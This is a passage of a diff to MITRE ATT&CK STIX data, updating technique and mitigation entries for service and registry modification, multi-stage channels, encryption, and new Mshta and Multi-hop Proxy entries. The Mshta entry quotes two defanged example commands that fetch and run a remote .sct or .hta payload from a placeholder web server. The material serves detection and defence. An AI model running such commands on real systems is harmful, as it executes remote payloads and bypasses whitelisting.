             "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Existing Service Mitigation",
             "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
@@ -7540,9 +7901,9 @@
             "id": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.928Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Existing Service",
-            "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Windows service configuration information, including the file path to the service's executable, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and Reg.\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of Masquerading that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nDetection: Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute cmd commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7564,6 +7925,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Windows Registry",
                 "File monitoring",
@@ -7575,28 +7939,17 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Registry Mitigation",
-            "description": "Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -7635,9 +7988,9 @@
             "id": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:23.587Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Registry",
-            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman",
+            "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.\n\nAccess to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).\n\nThe Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Bartosz Jerzman, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7665,7 +8018,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Bartosz Jerzman"
+                "Bartosz Jerzman",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Windows Registry",
@@ -7682,26 +8036,116 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Mshta Mitigation",
+            "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
+                    "external_id": "T1170"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Mshta",
+            "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)\n\nDetection: Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias, Ye Yint Min Thu Htut, @yeyint_mth",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1170",
+                    "external_id": "T1170"
+                },
+                {
+                    "source_name": "Wikipedia HTML Application",
+                    "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
+                    "url": "https://en.wikipedia.org/wiki/HTML%20Application"
+                },
+                {
+                    "source_name": "MSDN HTML Applications",
+                    "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/ms536471.aspx"
+                },
+                {
+                    "source_name": "Cylance Dust Storm",
+                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
+                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
+                },
+                {
+                    "source_name": "Red Canary HTA Abuse Part Deux",
+                    "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
+                    "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
+                },
+                {
+                    "source_name": "FireEye Attacks Leveraging HTA",
+                    "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
+                },
+                {
+                    "source_name": "Airbus Security Kovter Analysis",
+                    "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017."
+                },
+                {
+                    "source_name": "FireEye FIN7 April 2017",
+                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+                },
+                {
+                    "source_name": "GitHub SubTee The List",
+                    "description": "[ Smith, C. (2017, July 14). TheList.txt. Retrieved October 27, 2017."
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Ricardo Dias",
+                "Ye Yint Min Thu Htut, @yeyint_mth"
+            ],
+            "x_mitre_data_sources": [
+                "Process monitoring",
+                "Process command-line parameters"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Application whitelisting"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ],
+            "x_mitre_remote_support": false,
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multi-Stage Channels Mitigation",
             "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -7722,9 +8166,9 @@
             "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:15.935Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multi-Stage Channels",
-            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
+            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7750,29 +8194,68 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--752db800-ea54-4e7a-b4c1-2a0292350ea7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Multi-hop Proxy Mitigation",
+            "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like Domain Fronting.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
+                    "external_id": "T1188"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Multi-hop Proxy",
+            "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy.  This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nDetection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as ) or known adversary infrastructure that uses this technique.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Netflow/Enclave netflow\n\nRequires Network: Yes",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "command-and-control"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1188",
+                    "external_id": "T1188"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "Network protocol analysis",
+                "Netflow/Enclave netflow"
+            ],
+            "x_mitre_network_requirements": true,
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multiband Communication Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -7793,9 +8276,9 @@
             "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:32.259Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multiband Communication",
-            "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "Some adversaries may split communications between different protocols.  There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions.  The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7826,29 +8309,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multilayer Encryption Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -7869,9 +8340,9 @@
             "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:01.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multilayer Encryption",
-            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
+            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -7916,29 +8387,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NTFS Extended Attributes Mitigation",
             "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
